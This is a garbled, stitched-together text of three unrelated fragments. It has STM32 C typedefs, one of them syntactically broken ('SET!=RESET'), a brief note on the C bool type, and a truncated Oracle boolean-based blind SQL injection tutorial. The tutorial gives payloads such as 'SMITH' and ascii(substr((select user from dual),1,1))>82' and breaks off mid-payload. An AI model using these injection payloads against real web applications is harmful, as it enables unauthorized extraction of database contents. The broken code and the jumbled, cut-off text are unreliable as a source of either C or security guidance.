这些标着位会让你的程序使用起来更方便. First you need to include "STM32f10x_type.h" /*布尔型变量*/typedef enum{FALSE =0,TRUE =!FALSE} bool;/*标志位状态变量*/typedef enum{RESET=0,SET!=RESET } FlagStatus;/*功能型状态变量*/typedef enum{DISABLE=0,ENABLE=!DISABLE} FunctionalState;/*错误型状态
参考:https://bbs.csdn.net/topics/360116265. 问题: 如一个函数如下: int aa( int a, int b ) //举个例子,不要纠结功能. { if(a < b) return (a <= b ) ; //非0 ; //0 } 结论:bool类型(但在C99之前是没有的)其实就是一个特殊的int型,它只有和非0两种情况.(0为false,非0为true).
0X01判断闭合 ?username=SMITH' 错误 ?username=SMITH'' 正确 ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 那么是‘闭合 0X02基于bool的盲注 根据返回信息判断 ?username=SMITH' and ascii(substr((select user from dual),1,1))>82 -- 正确 ?username=SMITH' and ascii(su